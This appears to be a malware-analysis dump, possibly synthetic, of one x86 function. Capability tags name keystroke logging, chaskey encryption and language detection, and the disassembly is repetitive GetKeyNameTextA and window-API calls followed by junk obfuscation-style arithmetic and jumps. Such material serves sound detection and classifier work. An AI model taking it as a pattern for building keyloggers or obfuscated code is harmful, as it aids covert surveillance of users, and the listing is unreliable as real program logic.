Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Identify system language via api
Log keystrokes via polling

Disassembly:
add esi, 0xd018647a
call sub.user32.dll_GetForegroundWindow
rol ebx, 0x1c
cmp eax, 0xffffff07
jne 0x401088
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
ret
xor ebx, edi
shl edi, 6
call sub.user32.dll_GetForegroundWindow
or edx, edi
and esi, ebx
neg esi
and edx, 0xd024f4a4
cmp eax, 0xfffffee2
jne 0x401127
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
ret
or edx, ebx
sub ebx, esi
add edx, 0xd02940a4
add ebx, edx
xor ebx, 0xd02a11f8
and ebx, edx
sub ebx, esi
call sub.kernel32.dll_GetUserDefaultLangID
add edx, 0xd02fd833
xor edi, 0xd030195e
cmp eax, 0xffffff27
jne 0x4011aa
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_ArrangeIconicWindows
ret
or edi, esi
rol ebx, 0x11
bswap esi
xor esi, 0xd03204c3
call sub.user32.dll_GetForegroundWindow
or edx, 0xd0325917
not edx
not edi
cmp eax, 0xfffffedb
jne 0x401236
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_ArrangeIconicWindows
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_GetKeyNameTextA
call sub.user32.dll_EnumDisplaySettingsExA
call sub.user32.dll_GetKeyNameTextA
ret
jmp 0x4942b1
add edx, esi
mov edi, 0xd20a01e8
inc esi
jmp 0x495772
call ecx
shl esi, 0x16
sub edx, esi
sub edx, ebx
xchg ebx, edi
and ebx, esi
ror ebx, 0x11
sub edi, 0xda5a2fcc
jmp 0x4951a7
push 0xd219b648
add edi, ebx
add edi, edx
sub ebx, 0xdad63dda
xchg esi, ebx
mov edx, esi
sub ebx, esi
xor esi, 0xdad7281f
or edi, edx
or ebx, esi
nop
jmp 0x49734c
mov ecx, 0x2774562b
inc ebx
inc ebx
xchg edi, ebx
xchg esi, edi
sub edi, ebx
sub ebx, 0xdb63ee1c
jmp 0x496519
pop ecx
xchg esi, edi
neg edx
and edx, ebx
xchg esi, ebx
neg esi
mov edi, edx
sub ebx, edx
add esi, ebx
jmp 0x497002
push 0xd2183723
and edx, 0xdc685237
mov edx, esi
rol edx, 0x12
and edi, 0xdc6a3289
neg edx
xor ebx, edi
xchg ebx, esi
ror edx, 0x1d
mov edi, 0xdc6d0ec3
neg esi
and edx, 0xdc6df17d
and edi, 0xdc6eb6f1
xor edi, 0xdc6f3de5
bswap edi
mov esi, ebx
jmp 0x494f39
push 0xd217a070
inc ebx
mov ebx, 0xdc95fd08
not edi
shr edi, 0x16
xor edi, esi
xor ebx, esi
xor esi, edi
sub ebx, edi
sub edi, edx
mov edi, 0xdc982088
jmp 0x496c92
push 0xd21a1726
and esi, 0xdcb66049
xor edx, ebx
rol edx, 0x10
add ebx, esi
xor esi, edi
bswap edx
sub edx, ebx
xchg ebx, edi
add edx, 0xdcb85ddd
not esi
jmp 0x4976f7
pop ecx
inc edi
xchg esi, ebx
or edi, edx
or edx, ebx
sub edi, ebx
mov esi, ebx
xor esi, edx
rol ebx, 0x18
sub esi, edi
and esi, edi
mov esi, 0xdcc68b70
jmp 0x4958e9
pop ecx
sub ebx, edx
and esi, ebx
mov ebx, edx
neg edx
shl edx, 0x18
bswap esi
or ebx, edi
sub edi, esi
dec ebx
ror edx, 2
add ebx, 0xdce2e476
jmp 0x495973
push 0xd21990f6
add edi, esi
xchg edx, ebx
sub esi, edx
dec ebx
xchg ebx, edi
xor edx, ebx
or edx, ebx
or esi, ebx
add esi, ebx
mov ebx, edx
mov esi, ebx
jmp 0x494aeb
call fcn.0049714e
xor esi, edx
sub edx, 0xdeebb6c0
sub ebx, esi
add esi, ebx
mov edi, 0xdeecfbb2
or edi, esi
xchg edi, ebx
mov ebx, edx
xor ebx, edi
jmp 0x49467d
jmp loc.0049a000
push 0xd217d41d
add edi, esi
mov edx, esi
sub edi, ebx
xchg esi, edx
or edi, 0xe006825a
xchg edx, esi
xor edx, edi
shr esi, 0xc
bswap edi
dec esi
jmp 0x497582
pop ecx
xor edi, 0xe0dce0c1
sub edi, edx
sub edi, esi
sub edx, esi
or ebx, esi
add edi, edx
shr edi, 0x14
mov edi, esi
jmp 0x495895
push 0xd219dcff
xor ebx, edx
xor edx, 0xe1b73514
and edi, edx
jmp 0x49582f
push 0xd217fa0f
inc edi
mov edi, 0xe203b900
or edx, edi
mov edx, 0xe20499dd
or edx, 0xe205090f
or ebx, 0xe2058f37
xor edi, esi
sub esi, ebx
xor edi, ebx
inc edx
jmp 0x4956b0
mov ecx, 0x2774562b
or edi, edx
mov esi, ebx
xchg edi, esi
xchg esi, edx
bswap edx
sub esi, edi
dec edi
jmp 0x496c35